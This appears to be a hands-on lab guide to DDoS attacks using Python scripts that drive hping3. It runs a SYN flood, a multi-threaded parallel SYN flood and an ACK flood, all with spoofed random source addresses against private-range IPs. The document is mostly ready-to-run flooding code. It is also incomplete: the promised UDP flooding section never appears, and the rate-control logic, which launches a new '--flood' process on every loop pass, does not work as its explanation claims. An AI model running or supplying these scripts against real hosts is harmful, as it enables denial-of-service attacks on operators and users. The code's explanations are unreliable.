Hands-on Document for DDoS Attack Experiment

Table of Contents

1. **Introduction**
2. **SYN Flooding Attack**
3. **Parallel SYN Flooding Attack**
4. **ACK Flooding Attack**
5. **UDP Flooding Attack with Monitoring**

---

1. Introduction

This document provides a comprehensive step-by-step guide to conducting DDoS attack experiments using the `hping3` tool. The experiments include SYN flooding, parallel SYN flooding, ACK flooding, and UDP flooding with resource monitoring. Each section will explain the code in detail and its functionality.

---

2. SYN Flooding Attack

Objective: Perform a SYN flooding attack to overwhelm the target server with SYN packets.

Code Explanation

```
import subprocess
import random
import time
```

- **`subprocess`**: Used to run the `hping3` command in a subprocess. This allows us to execute system commands from within the Python script.
- **`random`**: Generates random numbers, which is used here to randomize the packet sizes.
- **`time`**: Provides time-related functions, used here for managing the timing of packet sends.

```
# Target IP and port
target_ip = "192.168.200.10"  # Target IP address
target_port = 80  # Target port
```

- **`target_ip`**: The IP address of the target server that we intend to attack.
- **`target_port`**: The port number on the target server that we are targeting with SYN packets. Commonly, port 80 is used as it is the default port for HTTP traffic.

```
# Throughput in bits per second
target_throughput_bps = 96 * 10**6  # 96 Mbps
```

- **`target_throughput_bps`**: Desired throughput in bits per second. This sets the rate at which data is sent to the target, here set to 96 megabits per second.

```
# Number of packets per second
min_packet_size = 40
max_packet_size = 60
average_packet_size = (min_packet_size + max_packet_size) / 2
average_packet_size_bits = average_packet_size * 8
packets_per_second = target_throughput_bps / average_packet_size_bits
```

- **`min_packet_size`**: Minimum size of a packet in bytes.
- **`max_packet_size`**: Maximum size of a packet in bytes.
- **`average_packet_size`**: Average packet size calculated as the mean of minimum and maximum sizes.
- **`average_packet_size_bits`**: Conversion of average packet size from bytes to bits.
- **`packets_per_second`**: Calculation of how many packets need to be sent per second to achieve the desired throughput. This is obtained by dividing the target throughput by the average packet size in bits.

```
# Calculate the interval between packets
interval = 1.0 / packets_per_second
```

- **`interval`**: The time interval between sending each packet, calculated as the reciprocal of packets per second.

```
def send_syn_packets():
    while True:
        # Random packet size between 40 and 60 bytes
        packet_size = random.randint(min_packet_size, max_packet_size)
        # Construct hping3 command
        cmd = [
            "hping3",
            "--flood",
            "--rand-source",
            "-p", str(target_port),
            "-S",
            "-d", str(packet_size),
            target_ip
        ]
        # Execute the hping3 command
        subprocess.Popen(cmd, stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL)
        # Wait for the calculated interval
        time.sleep(interval)
```

- **`send_syn_packets`**: This function sends SYN packets continuously in an infinite loop.
  - **`random.randint(min_packet_size, max_packet_size)`**: Randomly determines the size of each packet between the specified minimum and maximum sizes.
  - **`cmd`**: List of command line arguments for `hping3`. `--flood` sends packets as fast as possible. `--rand-source` randomizes the source IP address. `-p` specifies the target port. `-S` indicates SYN packets. `-d` specifies the packet size. Finally, `target_ip` specifies the target's IP address.
  - **`subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)`**: Executes the `hping3` command while suppressing output.

- **`time.sleep(interval)`**: Pauses the loop for the specified interval to control the rate of packet sending.

```
# Start sending SYN packets
send_syn_packets()
```

- **`send_syn_packets()`**: Calls the function to start sending packets.

---

3. Parallel SYN Flooding Attack

Objective: Perform a parallel SYN flooding attack using multiple threads to increase the attack's effectiveness.

Code Explanation

```
import subprocess
import random
import threading
import time
```

- **`threading`**: Allows the script to run multiple threads concurrently, enabling parallel attacks.

```
# Configuration
target_ip = "192.168.1.1"  # Target IP address
target_port = 80  # Target port
target_throughput_bps = 96 * 10**6  # 96 Mbps
num_parallel_instances = 4  # Number of parallel hping3 instances
```

- **`num_parallel_instances`**: Number of parallel threads to run, each simulating an independent attacker.

```
# Calculate the throughput per instance
instance_throughput_bps = target_throughput_bps / num_parallel_instances
```

- **`instance_throughput_bps`**: Throughput allocated for each thread, obtained by dividing the total target throughput by the number of parallel instances.

```
# Calculate the interval for each instance
def calculate_interval(packet_size_bytes, throughput_bps):
    packet_size_bits = packet_size_bytes * 8
    packets_per_second = throughput_bps / packet_size_bits
    return 1.0 / packets_per_second
```

- **`calculate_interval`**: Function to calculate the interval between packets based on their size and the throughput per instance. Converts packet size to bits, calculates packets per second, and returns the interval.

```
def send_syn_packets(instance_id):
    while True:
        # Random packet size between 40 and 60 bytes
        packet_size = random.randint(40, 60)
```

```
        # Calculate the interval for the desired throughput
        packet_interval = calculate_interval(packet_size,
instance_throughput_bps)
        # Construct hping3 command
        cmd = [
            "hping3",
            "--flood",
            "--rand-source",
            "-p", str(target_port),
            "-S",
            "-d", str(packet_size),
            target_ip
        ]
        # Execute the hping3 command
        subprocess.Popen(cmd, stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL)
        # Wait for the calculated interval
        time.sleep(packet_interval)
```

- **`send_syn_packets`**: Similar to the single-threaded version but adapted for parallel execution. Each thread runs this function independently.

```
# Create and start threads for parallel hping3 instances
threads = []
for i in range(num_parallel_instances):
    thread = threading.Thread(target=send_syn_packets, args=(i,))
    threads.append(thread)
    thread.start()
```

- **`threads`**: List to store thread objects.
- **`threading.Thread`**: Creates new threads, each running `send_syn_packets`.
- **`thread.start()`**: Starts each thread, initiating parallel execution.

```
# Join threads (this script will run indefinitely)
for thread in threads:
    thread.join()
```

- **`thread.join`**: Waits for all threads to complete execution. Since the threads run infinitely, this script will run indefinitely.

---

4. ACK Flooding Attack

Objective: Perform a parallel ACK flooding attack using multiple threads.

Code Explanation

Similar to the Parallel SYN Flooding Script, but with ACK packets.

```
import subprocess
import random
import threading
import time

# Configuration
```

```
target_ip = "192.168.1.1"  # Target IP address
target_port = 80  # Target port
target_throughput_bps = 96 * 10**6  # 96 Mbps
num_parallel_instances = 4  # Number of parallel hping3 instances


# Calculate the throughput per instance
instance_throughput_bps = target_throughput_bps / num_parallel_instances


# Calculate the interval for each instance
def calculate_interval(packet_size_bytes, throughput_bps):
    packet_size_bits = packet_size_bytes * 8
    packets_per_second = throughput_bps / packet_size_bits
    return 1.0 / packets_per_second


def send_ack_packets(instance_id):
    while True:
        # Random packet size between 40 and 60 bytes
        packet_size = random.randint(40, 60)
        # Calculate the interval for the desired throughput
        packet_interval = calculate_interval(packet_size,
instance_throughput_bps)
        # Construct hping3 command
        cmd = [
            "hping3",
            "--flood",
            "--rand-source",
            "-p", str(target_port),
            "-A",
            "-d", str(packet_size),
            target_ip
        ]
        # Execute the hping3 command
        subprocess.Popen(cmd, stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL)
        # Wait for the calculated interval
        time.sleep(packet_interval)
```

- **`send_ack_packets`**: Sends ACK packets in an infinite loop for each thread instance.

```
# Create and start threads for parallel hping3 instances
threads = []
for i in range(num_parallel_instances):
    thread = threading.Thread(target=send_ack_packets, args=(i,))
    threads.append(thread)
    thread.start()

# Join threads (this script will run indefinitely)
for thread in threads:
    thread.join()
```